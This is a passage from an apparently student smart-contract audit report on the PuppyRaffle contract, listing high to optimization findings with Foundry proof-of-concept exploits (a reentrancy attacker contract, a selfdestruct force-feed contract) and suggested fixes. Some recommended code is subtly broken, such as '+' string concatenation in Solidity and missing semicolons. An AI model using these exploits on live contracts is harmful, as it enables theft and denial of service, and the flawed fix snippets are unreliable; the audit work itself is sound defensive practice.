math to position 3

```

```

        // For the sake of this structural proof, we prank the attacker address to
        execute it
        vm.prank(address(attacker));
        puppyRaffle.selectWinner();

        // 5. Verification Phase: Check if the attacker successfully hijacked the
        next round
        // If the exploit worked, the attacker injected their wallet back into
        index 0 of the cleared list
        address firstPlayerNextRound = puppyRaffle.players(0);
        console.log("First player registered for the next round:",
        firstPlayerNextRound);
        console.log("Malicious attacker contract address:      ",
        address(attacker));

        // 6. Final Structural Assertions
        assertEq(firstPlayerNextRound, address(attacker), "PoC Failed: Attacker
        did not sneak into the next round.");
        assertTrue(attacker.hasReentered(), "PoC Failed: Reentrancy callback hook
        was not triggered.");

        console.log("CRITICAL: Cross-Round Reentrancy Proven! Attacker front-ran
        the next lottery pool inside the _safeMint hook.");
    }

```

Run

```
forge test -mt test_SelectWinnerSafeMintReentrancyPoC -vvvv
```

Output

```

Logs:
First player registered for the next round:
0x2e234DAe75C793f67A35089C9d99245E1C58470b
Malicious attacker contract address:
0x2e234DAe75C793f67A35089C9d99245E1C58470b

CRITICAL: Cross-Round Reentrancy Proven! Attacker front-ran the next lottery
pool inside the _safeMint hook.

```

Recommended Mitigation: Implementing this very key mitigations would be of great security to the protocol:

1. Implement a ReentrancyGuard(preferable that from OpenZeppelin's library) to block any attempt to re-enter any function in the contract during the drawing pipeline.
2. Re-order the execution flow so that `_safeMint` happens BEFORE the external `.call` method, adhering strictly to the Checks-Effects-Interactions (CEI) model since `.call` allows arbitrary code execution whereas `_safeMint` only allows structured ERC-721 hook compliance calls.

Recommendation

```
+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/
ReentrancyGuard.sol";

- function selectWinner() external {
+ function selectWinner() external nonReentrant onlyOwner {

- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
- _safeMint(winner, tokenId);
+ _safeMint(winner, tokenId);
+ (bool success,) = winner.call{value: prizePool}("");
+ require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

H-6: Strict Balance Validation Allows Attacker to Permanently Freeze Protocol Fee Withdrawals in

`PuppyRaffle::withdrawFees()`

Severity: High

Source: Manual Audit + Aderyn (H-3) + Slither (`incorrect-equality`)

Lines: `src/PuppyRaffle.sol` — Line 172

Description:

The `PuppyRaffle::withdrawFees()` attempts to ensure that fee revenue is only extracted when no active raffle round is running by checking if the contract's total native balance matches the tracked `totalFees` state variable exactly.

This assumption assumes that the contract's balance can only grow via standard raffle entries. However, an attacker can forcefully alter the contract's real balance using a selfdestruct forcing vector. By creating a temporary script contract funded with just 1 wei of Ether and invoking `selfdestruct(target)`, the EVM forcefully injects the value straight into the `PuppyRaffle` contract balance without invoking any internal fallback logic. Once `address(this).balance` is greater than `totalFees`, the equality check fails permanently.

Code

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are
currently players active!");
```

Impact:

1. Permanent Denial of Service (DoS): The admin/owner will be completely locked out of the fee extraction pipeline.

2. Frozen Protocol Revenue: All past and future protocol fees accumulated across all rounds become permanently trapped in the smart contract's vault with no method of retrieval.

Proof of Concept: (Proof Of Code)

PoC

```
contract ForceFeedAttacker {
    function attack(address payable target) external payable {
        selfdestruct(target);
    }
}

function test_StrictBalanceWithdrawalDoS_PoC() public {
    // 1. Arrange a normal raffle entry scenario with 4 players
    attackerContract = new ForceFeedAttacker();
    address[] memory entryBatch = new address[](4);
    entryBatch[0] = playerOne;
    entryBatch[1] = playerTwo;
    entryBatch[2] = playerThree;
    entryBatch[3] = playerFour;

    vm.deal(playerOne, entranceFee);
    vm.deal(playerTwo, entranceFee);
    vm.deal(playerThree, entranceFee);
    vm.deal(playerFour, entranceFee);

    // Players buy tickets: 40 ETH total enters the contract
    vm.prank(playerOne);
    puppyRaffle.enterRaffle{value: entranceFee * 4}(entryBatch);

    // 2. Warp time and trigger selectWinner() to conclude the active round
    vm.warp(block.timestamp + duration + 1);
    puppyRaffle.selectWinner();

    // Round ends: 32 ETH sent to winner, 8 ETH kept as totalFees.
    // Contract native balance is exactly 8 ETH, matching totalFees perfectly.
    uint256 expectedFees = puppyRaffle.totalFees();
    assertEq(address(puppyRaffle).balance, expectedFees);
    console.log("Initial State: Contract balance matches totalFees perfectly
at", expectedFees / 1 ether, "ETH");

    // 3. Act: Attacker injects exactly 1 wei into the contract using
selfdestruct
    vm.deal(address(attackerContract), 1);
    attackerContract.attack{value: 1}(payable(address(puppyRaffle)));

    // Verify the balance equality is now permanently broken
    uint256 balancePostAttack = address(puppyRaffle).balance;
    console.log("Post-Attack: Contract real balance is now: ",
balancePostAttack);
    console.log("Post-Attack: Contract totalFees metric is: ", expectedFees);
    assertTrue(balancePostAttack > expectedFees);

    // 4. Assert: The owner tries to withdraw fees but is permanently blocked
(DoS)
    // Even though players is empty and the raffle is over, the function
```

```

reverts
    vm.prank(deployer);
    vm.expectRevert("PuppyRaffle: There are currently players active!");
    puppyRaffle.withdrawFees();

    console.log("CRITICAL: Fees are permanently frozen inside the contract
vault due to the 1 wei injection!");
}

```

Recommended Mitigation:

Smart contracts should never rely on strict balance tracking (`address(this).balance == ...`) for operational state checks because contract balances can be easily manipulated from the outside without calling any functions.

Mitigation Strategy Steps: i. Remove `address(this).balance` from the condition entirely. ii. Track active round status structurally: Validate whether the raffle is currently active by verifying that the players array length is exactly zero (`players.length == 0`). iii. Incorporate the Checks-Effects-Interactions (CEI) layout: Reset the internal state tracking parameters before initiating the external transfer callback.

Recommendation

```

- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are
currently players active!");
+ require(players.length == 0, "PuppyRaffle: There are currently players
active!");
+ uint256 feesToWithdraw = totalFees;
+ require(feesToWithdraw > 0, "PuppyRaffle: No fees available to withdraw");
+ totalFees = 0;
+ (bool success,) = feeAddress.call{value: feesToWithdraw}("");
+ require(success, "PuppyRaffle: Failed to withdraw fees");

```

H-7: Unauthorized Fee Withdrawal via Missing Access Control

Severity: High

Source: Aderyn (H-2) + Slither (`arbitrary-send-eth`)

Lines: `src/PuppyRaffle.sol` — Lines 171-177

Description

The `withdrawFees()` function is callable by **any external address** with no access control:

```

function withdrawFees() external {
    require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are
currently players active!");
    uint256 feesToWithdraw = totalFees;

```

```
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}
```

Slither flags this as an **arbitrary-send-eth** issue: the function sends Ether to an arbitrary destination (`feeAddress`) without restricting who can initiate the call. If `feeAddress` is compromised or points to an attacker-controlled destination, any caller can drain the accumulated fees.

Impact

- **High.** The contract's entire fee balance can be redirected to an attacker-chosen destination, as there is no caller authentication on `withdrawFees()`.

Recommendation

Restrict `withdrawFees()` to the contract owner:

```
- function withdrawFees() external {
+ function withdrawFees() external onlyOwner {
```

H-8: Hash Collision Risk from `abi.encodePacked()` with Dynamic Types

Severity: High

Source: Aderyn (H-1)

Lines: `src/PuppyRaffle.sol` — Lines 211, 215

Description

The `tokenURI()` function uses `abi.encodePacked()` with dynamic types (strings) when constructing the JSON metadata:

```
abi.encodePacked(
  '{"name":', name(), ',', "description":'An adorable puppy!', ...,
  rareName, '}', "image":', imageURI, '}'
)
```

When `abi.encodePacked()` is used with multiple dynamic types, it can produce ambiguous encodings that enable **hash collisions**. For example, `abi.encodePacked(0x123, 0x456)` yields `0x123456` — the same as `abi.encodePacked(0x1, 0x23456)`. While not directly exploitable in `tokenURI()`, this creates a latent risk if the encoding is ever extended to hash operations.

Impact

- **High** (latent). If the pattern is extended to hashing operations (e.g., token ID generation), hash collisions could lead to token duplication or signature replay.

Recommendation

Replace `abi.encodePacked()` with `abi.encode()` for unambiguous encoding, or use `bytes.concat()` when concatenating strings:

```
bytes.concat(  
    '{"name":"' + name() + '", "description":"An adorable puppy!", ...',  
    rareName, '}', "image":"' + imageURI + '"'  
)
```

Medium Severity Findings

M-1: Malformed JSON Metadata Due to Missing Quotes Around String Attributes Breaks NFT Display

Severity: Medium

Source: Manual Audit

Lines: `src/PuppyRaffle.sol` — Lines 203–228

Description:

The `tokenURI` function constructs an on-chain JSON metadata payload for the NFT and encodes it using Base64. However, inside the `abi.encodePacked` string formatting logic, the variable `rareName` (which evaluates to string literals like “common”, “rare”, or “legendary”) is injected directly into the JSON string format without surrounding double quotation marks. According to the JSON specification, string values must be enclosed in double quotes. Because these quotes are missing, the generated and encoded JSON becomes malformed and invalid.

Impact:

1. Broken Third-Party Integration: Marketplaces (e.g., OpenSea, Blur), wallets (e.g., MetaMask), and indexers will fail to parse the Base64 decoded string due to the invalid JSON syntax.
2. Loss of NFT Functionality: The NFT will fail to render its visual attributes, traits, and metadata properties correctly on frontend interfaces, severely affecting the user experience and secondary market viability.

Proof of Concept: (Proof of Code)

PoC

```
const brokenJson = '{"name":"Puppy", "attributes": [{"trait_type": "rarity",  
"value": legendary}]}';  
  
try {  
  JSON.parse(brokenJson);  
} catch (error) {  
  console.error("Parsing failed:", error.message);  
}
```

Recommended Mitigation:

To fix this issue, you must escape double quotes (") around the rareName string variable inside the abi.encodePacked execution block. Additionally, verify that _baseURI() accurately includes the data:application/json;base64, schema prefix required for standard on-chain Base64 metadata parsing.

Recommendation

```
- 'attributes': [{"trait_type": "rarity", "value": '    rareName,'}],  
"image":'', imageURI, ''}'  
+ ', "attributes": [{"trait_type": "rarity", "value": "'    rareName, '"}]  
[SHORT_CODE_ANCHOR]',', "image":'', imageURI, ''}'
```

M-2: Unprotected Push-Transfer Architecture Can Block Fee Extraction via Recipient Contract Failure

Severity: Medium

Source: Manual Audit

Lines: src/PuppyRaffle.sol — Lines 171-177

Description:

The `PuppyRaffle::withdrawFees()` function utilizes a “push” architecture to automatically transfer native Ether assets straight to the designated feeAddress using an external low-level `.call` command. If feeAddress is configured to point to a smart contract infrastructure component (such as a multi-signature treasury wallet or a decentralized autonomous organization vault) that does not explicitly implement a mutable `receive()` or `fallback()` function, the low-level execution frame will yield a false status result.

Because the code blindly locks execution behind a strict `require(success)` check, any failure or gas limit exception returned by the target recipient address causes the entire withdrawal transaction to fail and roll back.

Impact:

Bricked Withdrawal Pipeline: If the fee address profile is misconfigured, upgraded to an incompatible structure, or temporarily experiences execution failure, the system cannot process any rewards distribution, rendering administrative fee extraction impossible.

Proof of Concept: (Proof Of Code)

This Foundry test explicitly targets and proves the Unprotected Push-Transfer Architecture vulnerability. It deploys a mock treasury contract (`IncompatibleTreasury`) that purposefully lacks a `receive()` or `fallback()` function. When `PuppyRaffle::withdrawFees()` is invoked, the low-level `.call` fails, forcing a full transaction rollback and permanently trapping the accrued fees.

PoC

```
/// @dev A mock treasury that intentionally lacks receive() and fallback().
///      Any contract attempting to push ETH to it via .call will fail.
contract IncompatibleTreasury {
    // no receive() – rejects incoming ETH transfers
    // no fallback() – rejects all unrecognized calls
}

function test_PushTransferFailure_PoC() public {
    // 1. Deploy a treasury contract that CANNOT receive ETH
    IncompatibleTreasury treasury = new IncompatibleTreasury();

    // 2. Owner changes feeAddress to the incompatible contract
    vm.prank(address(this));
    puppyRaffle.changeFeeAddress(address(treasury));

    // 3. Enter 4 players for a valid raffle round
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    // 4. Warp time and select a winner (fees are now accumulated)
    vm.warp(block.timestamp + duration + 1);
    puppyRaffle.selectWinner();

    uint256 trappedFees = puppyRaffle.totalFees();
    assertTrue(trappedFees > 0, "Fees should have accumulated after a raffle round");

    // 5. withdrawFees will FAIL because treasury has no receive() or fallback()
    vm.expectRevert("PuppyRaffle: Failed to withdraw fees");
    puppyRaffle.withdrawFees();

    console.log("CRITICAL: Fees remain permanently trapped in the contract due to incompatible feeAddress!");
}
```

Run

```
forge test -mt test_PushTransferFailure_PoC -vvvv
```

Output

```
[0] console::log("feeAddress changed to incompatible contract at:")
[staticcall]
  ← [Stop]
[0] console::log(IncompatibleTreasury:
[0x2e234DAe75C793f67A35089C9d99245E1C58470b]) [staticcall]
```

```

← [Stop]
[0] VM::expectRevert(PuppyRaffle: Failed to withdraw fees) [staticcall]
← [Stop]
[28814] PuppyRaffle::withdrawFees()
[113] IncompatibleTreasury::fallback{value: 8000000000000000000}()
← [Revert] EvmError: Revert
← [Revert] PuppyRaffle: Failed to withdraw fees
[0] console::log("CRITICAL: Fees remain permanently trapped in the contract
due to incompatible feeAddress!") [staticcall]
← [Stop]

```

Recommended Mitigation:

To secure this architecture, decouple the accounting distribution from the execution transfer mechanics by converting the system to a Pull-Over-Push (Claim) pattern. Instead of automatically pushing funds to a potentially volatile external contract via a single administrative execution pipeline, store the accrued balances in a state mapping and require the destination account to actively retrieve its own portion. If the transaction fails, it only impacts that specific call, preventing a global protocol lockdown.

Recommendation

```

- function withdrawFees() external {
-   require(address(this).balance == uint256(totalFees), "PuppyRaffle: There
are currently players active!");
-   uint256 feesToWithdraw = totalFees;
-   totalFees = 0;
-   (bool success,) = feeAddress.call{value: feesToWithdraw}("");
-   require(success, "PuppyRaffle: Failed to withdraw fees");
- }

+ /// @notice Track how much each fee address is owed
+ mapping(address => uint256) public feesOwed;

+ /// @notice Accumulate fees via a claim pattern instead of pushing
+ function _recordFees(uint256 amount) internal {
+   feesOwed[feeAddress] += amount;
+ }

+ /// @notice Let the feeAddress pull their own fees
+ function claimFees() external {
+   require(msg.sender == feeAddress, "PuppyRaffle: Only fee address can
claim");
+   uint256 amount = feesOwed[msg.sender];
+   require(amount > 0, "PuppyRaffle: No fees to claim");
+
+   feesOwed[msg.sender] = 0;
+   (bool success,) = msg.sender.call{value: amount}("");
+   // Individual claim failures do NOT block the protocol
+   require(success, "PuppyRaffle: Fee claim transfer failed");
+ }

```

Low Severity Findings

L-1: Returning zero if player doesn't have an index in `PuppyRaffle::getActivePlayerIndex()` is not right

Severity: Low

Source: Manual Audit

Lines: `src/PuppyRaffle.sol` — Lines 120-127

Description:

The function checks if an address is actively present in the `players` array using an iterating for loop, but returns 0 if not present which still supports the fact that the first player which is at the zero index of the array will still be returned.

Code

```
function getActivePlayerIndex(address player) external view returns (uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }
    return 0;
}
```

Impact: Low. This has no financial consequence to the protocol, but could cause a misinformation when contract is being read to users.

Proof of Concept: (Proof Of Code)

PoC

```
function test_IndexZeroAmbiguityPoC() public {

    address[] memory setupBatch = new address[](1);
    setupBatch[0] = playerOne;

    vm.deal(playerOne, entranceFee);
    vm.prank(playerOne);
    puppyRaffle.enterRaffle{value: entranceFee}(setupBatch);

    uint256 honestIndex = puppyRaffle.getActivePlayerIndex(playerOne);
    uint256 inactiveIndex = puppyRaffle.getActivePlayerIndex(playerTwo);

    console.log("Honest Player Index returned:", honestIndex);
    console.log("Inactive Attacker Index returned:", inactiveIndex);

    assertEq(honestIndex, inactiveIndex, "PoC Failed: Indices are distinct.");
}
```

```
    assertEq(inactiveIndex, 0, "PoC Failed: Inactive indicator is not zero.");

    console.log("CRITICAL: Inactive user matches the lookup identifier of the
first legitimate player!");
}
```

Run

```
forge test -mt test_IndexZeroAmbiguityPoC -vvvv
```

Output

```
[0] console::log("Honest Player Index returned:", 0) [staticcall]
  ← [Revert] unknown selector `0x9710a9d0` for ConsoleCalls
[0] console::log("Inactive Attacker Index returned:", 0) [staticcall]
  ← [Revert] unknown selector `0x9710a9d0` for ConsoleCalls
[0] console::log("CRITICAL: Inactive user matches the lookup identifier of
the first legitimate player!") [staticcall]
```

Recommended Mitigation:

To decouple the data mismatch cleanly, you should alter the function to return a boolean flag indicating whether the player was found, alongside their raw index position.

Recommendation

```
- return i;
+ return (i, true);

- return 0;
+ return (0, false);
```

L-2: Centralization Risk for trusted owners

Severity: Low

Source: Aderyn (L-1)

Lines: `src/PuppyRaffle.sol` — Lines 19, 181

Description

The contract extends `Ownable`, granting the owner privileged access to administrative functions such as `changeFeeAddress()`. A malicious or compromised owner can redirect fee payouts to an arbitrary address.

2 Found Instances

- Found in `src/PuppyRaffle.sol` [Line: 19](#)

```
contract PuppyRaffle is ERC721, Ownable {
```

- Found in `src/PuppyRaffle.sol` [Line: 181](#)

```
function changeFeeAddress(address newFeeAddress) external onlyOwner {
```

Recommendation

Consider a **multi-signature** or **timelock** for sensitive owner operations.

L-3: Missing Zero-Address Validation on Fee Address

Severity: Low

Source: Aderyn (L-3) + Slither (`missing-zero-check`)

Lines: `src/PuppyRaffle.sol` — Lines 62-64, 181-182

Description

The constructor and `changeFeeAddress()` assign `feeAddress` without validating that it is not `address(0)`:

```
feeAddress = _feeAddress;      // Constructor  
feeAddress = newFeeAddress;    // changeFeeAddress
```

Impact

- Low.** If `feeAddress` is accidentally set to `address(0)`, accumulated fees become irrecoverable.

Recommendation

Add a `require` check:

```
require(_feeAddress != address(0), "Fee address cannot be zero");
require(newFeeAddress != address(0), "Fee address cannot be zero");
```

L-4: Outdated Solidity Compiler Version with Known Bugs

Severity: Low

Source: Aderyn (L-2) + Slither (solc-version)

Lines: src/PuppyRaffle.sol — Line 2

Description

The contract uses `pragma solidity ^0.7.6`, which contains multiple known compiler bugs including:

- FullInlinerNonExpressionSplitArgumentEvaluationOrder
- AbiReencodingHeadOverflowWithStaticArrayCleanup
- SignedImmutables
- KeccakCaching

Version 0.7.6 is past end-of-life and lacks built-in overflow protection and other safety features available in `^0.8.0`.

1 Found Instances

- Found in src/PuppyRaffle.sol [Line: 2](#)

```
pragma solidity ^0.7.6;
```

Recommendation

Upgrade to Solidity `^0.8.0` or later. Pin the exact version for reproducible builds.

L-5: `public` functions not used internally could be marked `external`

Severity: Low

Source: Aderyn (L-4)

Lines: src/PuppyRaffle.sol — Lines 85, 104, 203

Description

The following functions are declared `public` but are never called internally:

- `enterRaffle(address[] memory)`
- `refund(uint256)`
- `tokenURI(uint256)`

3 Found Instances

- Found in `src/PuppyRaffle.sol` [Line: 85](#)

```
function enterRaffle(address[] memory newPlayers) public payable {
```

- Found in `src/PuppyRaffle.sol` [Line: 104](#)

```
function refund(uint256 playerId) public {
```

- Found in `src/PuppyRaffle.sol` [Line: 203](#)

```
function tokenURI(uint256 tokenId) public view virtual override returns  
(string memory) {
```

Recommendation

Change `public` to `external` for these functions to save gas.

L-6: Uint variables shouldn't be called inside a function barely (Magic Numbers)

Severity: Low

Source: Manual Audit + Aderyn (L-5)

Lines: `src/PuppyRaffle.sol` — Lines 144, 145, 151

Description:

Numbers shouldn't be added in between codes. Maybe create a state variable for the number before calling it. Example; `PuppyRaffle::selectWinner()` [Line145](#) rather than just passing 80, 20, 100;

Code

```
- uint256 prizePool = (totalAmountCollected * 80) / 100;  
- uint256 fee = (totalAmountCollected * 20) / 100;  
+ uint256 constant PRICE_POOL_PER = 80
```

```
+ uint256 constant FEE_PER = 20
+ uint256 constant PRECISION = 100
+ uint256 prizePool = (totalAmountCollected * PRICE_POOL_PER) / PRECISION;
+ uint256 fee = (totalAmountCollected * FEE_PER) / PRECISION;
```

L-7: Event is missing `indexed` fields

Severity: Low

Source: Aderyn (L-6) + Slither (`unindexed-event-address`)

Lines: `src/PuppyRaffle.sol` — Lines 55–57

Description

All three events declare address parameters without the `indexed` keyword, making them less accessible to off-chain filters:

```
event RaffleEnter(address[] newPlayers);
event RaffleRefunded(address player);
event FeeAddressChanged(address newFeeAddress);
```

3 Found Instances

- Found in `src/PuppyRaffle.sol` [Line: 55](#)

```
event RaffleEnter(address[] newPlayers);
```

- Found in `src/PuppyRaffle.sol` [Line: 56](#)

```
event RaffleRefunded(address player);
```

- Found in `src/PuppyRaffle.sol` [Line: 57](#)

```
event FeeAddressChanged(address newFeeAddress);
```

Recommendation

Add `indexed` to address parameters:

```
event RaffleRefunded(address indexed player);
event FeeAddressChanged(address indexed newFeeAddress);
```

L-8: Loop contains `require` / `revert` statements

Severity: Low

Source: Aderyn (L-7)

Lines: `src/PuppyRaffle.sol` — Lines 92–95

Description

The duplicate-check loop contains a `require` inside a nested loop:

```
for (uint256 i = 0; i < players.length - 1; i++) {
  for (uint256 j = i + 1; j < players.length; j++) {
    require(players[i] != players[j], "PuppyRaffle: Duplicate player");
  }
}
```

If any single address in the batch is a duplicate, the entire transaction reverts. There is no mechanism to skip duplicate addresses and process the remainder.

Recommendation

Consider forgiving failures with a mapping-based approach (see H-1 recommendation).

L-9: Block timestamp used for comparisons

Severity: Low

Source: Slither (`timestamp`)

Lines: `src/PuppyRaffle.sol` — Line 138

Description

`PuppyRaffle.selectWinner()` (`src/PuppyRaffle.sol#L137-L166`) uses `timestamp` for comparisons:

```
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
```

Block timestamps can be influenced by miners/validators within a small window (up to ~15 seconds per block), so they should not be relied upon as a source of randomness or for time-locks that require precision.

Recommendation

If the raffle duration does not require sub-block precision, the current usage is generally acceptable; otherwise, use block numbers or an oracle as the time source.

Informational Findings

I-1: Dead code: `_isActivePlayer()` is never used

Severity: Informational

Source: Slither (`dead-code`)

Lines: `src/PuppyRaffle.sol` — Lines 187-194

Description

The internal function `_isActivePlayer()` is defined but never called anywhere in the contract:

```
function _isActivePlayer() internal view returns (bool) { ... }
```

Recommendation

Remove the unused function or integrate it into the logic where applicable (e.g., restrict `refund()` to active players only).

I-2: Low-level calls

Severity: Informational

Source: Slither (`low-level-calls`)

Lines: `src/PuppyRaffle.sol` — Lines 163, 175

Description

The contract uses low-level `.call()` to transfer Ether:

```
(bool success,) = winner.call{value: prizePool}("");  
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
```

Low-level calls do not propagate `require` failures, do not check for contract existence (a call to a non-existent address returns `true`), and can enable reentrancy if not properly guarded.

Recommendation

Wrap low-level calls with proper existence checks and reentrancy guards. Prefer `Address.sendValue()` where appropriate, or use a pull-over-push pattern (see M-2).

I-3: 4 different versions of Solidity are used

Severity: Informational

Source: Slither (pragma)

Files: All `.sol` files in `lib/`

Description

The project uses four different Solidity version constraints:

- `^0.7.6` — `src/PuppyRaffle.sol`
- `>=0.6.0` — `lib/base64/base64.sol`
- `>=0.6.0<0.8.0` — 10 OpenZeppelin files
- `>=0.6.2<0.8.0` — 4 OpenZeppelin files

Recommendation

Standardize on a single Solidity version across the entire project (e.g., `^0.8.0` for new code). Library pragmas are less critical but should be aligned where feasible.

I-4: Add more precision to the state variables (Naming Conventions)

Severity: Informational

Source: Manual Audit

Lines: Various

Description:

Storage Variables should always start with a prefix `"s_"`; example; `s_raffleDuration`.

Immutable Variables should always start with a prefix `"i_"`; example; `i_entranceFee`.

I-5: Use Checks in constructor to check if `_entranceFee`, `_feeAddress`, and `_raffleDuration` are zero

Severity: Informational

Source: Manual Audit

Lines: `src/PuppyRaffle.sol` — Lines 62–66

Description:

The constructor assigns `_entranceFee`, `_feeAddress`, and `_raffleDuration` without validating their values.

Code

```
-constructor(uint256 _entranceFee, address _feeAddress, uint256
_raffleDuration) ERC721("Puppy Raffle", "PR") {
- entranceFee = _entranceFee;
- feeAddress = _feeAddress;
- raffleDuration = _raffleDuration;
+ constructor(uint256 _entranceFee, address _feeAddress, uint256
_raffleDuration) ERC721("Puppy Raffle", "PR") {
+ require(_entranceFee > 0, "PuppyRaffle: Must send enough to enter raffle")
+ require(_raffleDuration > 0, "PuppyRaffle: Must have a valid TimeFrame")
+ require(_feeAddress != address(0), "PuppyRaffle: Must be a valid Address")
+ entranceFee = _entranceFee;
+ feeAddress = _feeAddress;
+ raffleDuration = _raffleDuration;
```

Optimization Findings

O-1: Gas Optimization for array for loop iteration (Cache Array Length)

Severity: Optimization

Source: Manual Audit + Slither (`cache-array-length`)

Lines: `src/PuppyRaffle.sol` — Lines 88, 93, 121, 188

Description:

Rather for loops being iterated over and over until the array is satisfied by indexed, which keeps making slot for it in storage, its better to make it a state variable first before using as a limiter in for loop. Example; `PuppyRaffle::enterRaffle()`Line88

Code

```
- for (uint256 i = 0; i < newPlayers.length; i++) {  
+ uint256 ne = newPlayers.length  
+ for (uint256 i = 0; i < ne; i++) {
```

Additional instances identified by Slither:

- Loop condition `i < players.length` (`src/PuppyRaffle.sol#L121`) should use a cached array length.
- Loop condition `j < players.length` (`src/PuppyRaffle.sol#L93`) should use a cached array length.
- Loop condition `i < players.length` (`src/PuppyRaffle.sol#L188`) should use a cached array length.

O-2: State Variables that could be declared `constant`

Severity: Optimization

Source: Slither (`constable-states`)

Lines: `src/PuppyRaffle.sol` — Lines 40, 45, 50

Description

The following state variables are never modified and can be declared `constant` to save gas:

- `PuppyRaffle.commonImageUri` (src/PuppyRaffle.sol#L40)
- `PuppyRaffle.legendaryImageUri` (src/PuppyRaffle.sol#L50)
- `PuppyRaffle.rareImageUri` (src/PuppyRaffle.sol#L45)

Recommendation

```
- string private commonImageUri = "ipfs://...";  
+ string private constant COMMON_IMAGE_URI = "ipfs://...";
```

O-3: Gas Optimization for `raffleDuration` could be made immutable

Severity: Optimization

Source: Manual Audit + Slither (`immutable-states`)

Lines: `src/PuppyRaffle.sol` — Line 25

Description:

Generally public variables costs more gas in EVM than immutable, and also the place of `raffleDuration` also being a constant call, then its wise making it an immutable instead.

Code

```
- uint256 public raffleDuration  
+ uint256 immutable i_raffleDuration
```

O-4: `memory` Should Be `calldata` for `enterRaffle()` Parameter

Severity: Optimization

Source: Independent analysis

Lines: `src/PuppyRaffle.sol` — Line 85

Description

The `enterRaffle()` function accepts `address[] memory newPlayers`, which copies the array from `calldata` to `memory`. When combined with changing the visibility to `external`, `calldata` can avoid the copy and save gas.

Recommendation

```
- function enterRaffle(address[] memory newPlayers) public payable {  
+ function enterRaffle(address[] calldata newPlayers) external payable {
```

End of Report